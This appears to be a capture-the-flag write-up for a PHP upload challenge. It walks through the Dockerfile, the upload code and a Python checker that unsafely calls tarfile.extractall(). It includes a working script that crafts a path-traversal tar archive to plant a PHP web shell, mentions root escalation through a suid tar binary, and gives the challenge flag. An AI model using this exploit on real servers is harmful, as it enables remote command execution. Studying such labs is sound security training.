Hack. Eat. Sleep. Repeat!!!
Dockerfile
, upload.php
and check_for_malicious_code.py
in the source code archive.# Debian 12
# PHP 8.7.3
# Apache 2.4.59
FROM docker.io/library/php@sha256:b3ff205fcc739fc504750dab29d4c30afb2702730d37a1068a16c14f30a7d48f
RUN apt-get update && apt-get install -y python3 && apt-get clean
# Copy challenge required files
COPY ./config/php.ini $PHP_INI_DIR/php.ini
COPY ./web /var/www/html
COPY ./check_for_malicious_code.py /usr/
COPY ./flag.txt /root/flag.txt
RUN chown www-data:www-data /var/www/html/databases
RUN chmod +s /bin/tar
web
to /var/www/html
and copies the python script check_for_malicious_code.py
to directory /usr
.COPY ./config/php.ini $PHP_INI_DIR/php.ini
COPY ./web /var/www/html
COPY ./check_for_malicious_code.py /usr/
/root/flag.txt
which means we need root privilege to read it.Secondly, ownership of directory /var/www/html/databases
is granted to user www-data
and lastly, suid permissions is granted to binary tar
.COPY ./flag.txt /root/flag.txt
RUN chown www-data:www-data /var/www/html/databases
RUN chmod +s /bin/tar
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$uploadDir = "/tmp/";
$targetFile = $uploadDir . basename($_FILES["file"]["name"]);
$fileExtension = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
$allowedExtensions = array('gz');
echo '<div id="log"></div>';
if (!in_array($fileExtension, $allowedExtensions)) {
echo "Sorry, only .tar.gz files are allowed.";
exit();
}
ob_start();
function addLog($message) {
echo "<script>document.getElementById('log').innerHTML += '$message<br>';</script>";
ob_flush();
flush();
}
addLog("Unpacking file...");
if (move_uploaded_file($_FILES["file"]["tmp_name"], $targetFile)) {
addLog("The file " . htmlspecialchars(basename($_FILES["file"]["name"])) . " has been uploaded.");
if ($fileExtension === 'gz') {
addLog("Scanning file...");
// Execute python malware checker
exec("python3 /usr/check_for_malicious_code.py " . escapeshellarg($targetFile), $output, $returnCode);
if ($returnCode === 0) {
addLog("Python script executed successfully.");
} else {
addLog("Error executing Python script.");
}
unlink($targetFile);
addLog("Cleaning up...");
addLog("Done.");
}
} else {
addLog("Sorry, there was an error uploading your file.");
}
ob_end_flush();
}
?>
<link rel="stylesheet" type="text/css" href="styles.css">
<a href="index.php" class="back-button">Back to Homepage</a>
file
parameter, checks if the file ends with gz
and only takes in gzip
archives to prevent upload of php shells.It writes the file to /tmp
directory.Lastly,it executes the python script that will be explain below and passes the uploaded gzip file as an argument to function exec()
.We cannot pass in malicious systemcommand because of escapeshellarg()
.exec("python3 /usr/check_for_malicious_code.py " . escapeshellarg($targetFile), $output, $returnCode);
tarfile.extractall()
.The function tarfile.extractall()
is vulnerable to path traversal in the sense that if an archived files is saved as ../../shell.php
,instead of saving it in the current directory.It parses the relative path and moves up 2 directories to save the file.In this scenario,the code extracts our gz file to /tmp/<dirname>/
,we need to move up two directories to save our php shell in /var/www/html/databases
since we have write access to it.try:
with tarfile.open(tar_file_path, 'r:gz') as tar:
if not os.path.exists("/tmp/files_for_checking"):
os.mkdir("/tmp/files_for_checking")
tar.extractall("/tmp/files_for_checking")
print("Successfully extracted the contents of the .tar file.")
#! /usr/bin/env python3
import tarfile
import io
tar = tarfile.TarFile.open('malicious.tar.gz', 'w:gz')
info = tarfile.TarInfo("../../var/www/html/databases/shell.php")
info.mode=0o444 # So it cannot be overwritten
php_shell = b"<?php echo system($_GET['cmd']); ?>"
info.size=len(php_shell)
tar.addfile(info,io.BytesIO(php_shell))
tar.close()
tar
.gctf{c0nGr4tZ_on_Z1p_sLiDinG_4nD_Tar_diving}